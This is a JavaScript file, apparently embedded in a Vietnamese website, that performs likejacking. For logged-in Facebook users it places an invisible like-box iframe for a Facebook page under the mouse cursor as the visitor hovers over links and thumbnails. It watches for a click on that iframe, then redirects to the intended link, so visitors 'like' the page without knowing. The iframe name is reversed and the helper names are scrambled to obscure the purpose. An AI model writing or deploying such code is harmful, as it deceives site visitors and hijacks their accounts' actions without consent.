var href;
var repeat;

var div_node = document.createElement("div");
div_node.setAttribute("id","fb-root");
document.body.appendChild(div_node);

(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = "//connect.facebook.net/vi_VN/all.js";
  fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));

if(escape(cgkt00133("check_click_tn")))
{
	window.fbAsyncInit = function() {
		FB.init({appId: '598529790179303', status: true, cookie: true, xfbml: true});
		FB.getLoginStatus(function(response){
			if((response.status === 'connected') || (response.status === 'not_authorized'))
			{
				//create div
				div_node = document.createElement("div");
				div_node.setAttribute("id","div-move-bt-like");
				
				div_node.style.overflow = "hidden";
				div_node.style.width = "30px";
				div_node.style.height = "24px";
				div_node.style.position = "absolute";
				div_node.style.filter = "alpha(opacity=0)";
				//div_node.style.moz-opacity = "0.0";
				//div_node.style.khtml-opacity = "0.0";
				div_node.style.opacity = "0.0";
				div_node.style.zIndex = "300";
				
				//create iframe bt like fb
				var iframe_node = document.createElement("iframe");
				iframe_node.setAttribute("src","http://www.facebook.com/plugins/like_box.php?href=https://www.facebook.com/cachlamdepchophunu&show_faces=false&header=false&stream=false");
				iframe_node.setAttribute("scrolling","no");
				iframe_node.setAttribute("frameborder","0");
				iframe_node.setAttribute("allowTransparency","true");
				iframe_node.setAttribute("id","emarfIekiL");
				iframe_node.setAttribute("name","emarfIekiL");
				
				iframe_node.style.border = "none";
				iframe_node.style.overflow = "hidden";
				iframe_node.style.width = "127px";
				iframe_node.style.height = "73px";
				iframe_node.style.left = "-87px";
				iframe_node.style.top = "-49px";
				iframe_node.style.position = "absolute";
								
				//append
				div_node.appendChild(iframe_node);
				document.body.appendChild(div_node);
				
				//$("body").append('<div style="overflow:hidden;width:22px;height:12px;position:absolute;filter:alpha(opacity=0);-moz-opacity:0.0;-khtml-opacity:0.0;opacity:0.0;z-index:101;" id="icontainer"><iframe src="https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/kenh13.info&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;font=tahoma&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:48px; height:18px; left:-22px; top:-6px; position: absolute;" allowTransparency="true" id="fbframe" name="fbframe"></iframe></div>');
				
				repeat = setInterval("RepeatFunction();", 50);
				var div_move = document.getElementById('div-move-bt-like');
				var ScrollBrowser =(document.compatMode=="CSS1Compat")? document.documentElement : document.body;
				var Browser = navigator.userAgent;
				function MouseMove(e){
					if (Browser.indexOf('MSIE') >= 0)
					{
						//IE  
						div_move.style.top = (window.event.y-5)+ScrollBrowser.scrollTop+'px';
						div_move.style.left = (window.event.x-5)+ScrollBrowser.scrollLeft+'px';
					}
					else
					{  
						div_move.style.top = (e.pageY-5)+'px';
						div_move.style.left = (e.pageX-5)+'px';
					}
				}
				
				//the a
				var a_node_list = document.getElementsByTagName("a");
				for(var i=0;i<a_node_list.length;i++)
					a_node_list[i].onmouseover = function(e){
													href = this.getAttribute("href");
													MouseMove(e);
												};
				
				//the div duoi the a
				var div_node_list = document.getElementsByClassName("entry-summary");
				for(var i=0;i<div_node_list.length;i++)
					div_node_list[i].onmouseover = function(e){
													href = this.previousSibling.previousSibling.previousSibling.previousSibling.getAttribute("href");
													MouseMove(e);
												};
				
				//the img be ken the a
				var img_node_list = document.getElementsByClassName("thumbnail");
				for(var i=0;i<img_node_list.length;i++)
					img_node_list[i].onmouseover = function(e){
													href = this.nextSibling.nextSibling.childNodes[1].getAttribute("href");
													MouseMove(e);
												};
				
				document.ondomcontentready=function(){
					var html_iframe = document.getElementById('facebook');
					};
			}
		});
	};
	(function() {
		var e = document.createElement('script'); e.async = true;
		e.src = document.location.protocol + '//connect.facebook.net/en_US/all.js';
		document.getElementById('fb-root').appendChild(e);
	}());
}

function RepeatFunction(){
	if(document.activeElement.getAttribute('id')=="emarfIekiL")
	{
		clearInterval(repeat);
		ckt001335("check_click_tn","");
		window.location=href;
	}
}

function ckt001335(c_name,value,exdays){
	var exdate=new Date();
	exdate.setDate(exdate.getDate() + exdays);
	var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
	document.cookie=c_name + "=" + c_value;
}
function cgkt00133(c_name){
	var i,x,y,ARRcookies=document.cookie.split(";");
	for (i=0;i<ARRcookies.length;i++){
		x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
		y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
		x=x.replace(/^\s+|\s+$/g,"");
		if (x==c_name){
			return unescape(y);
		}
	}
}
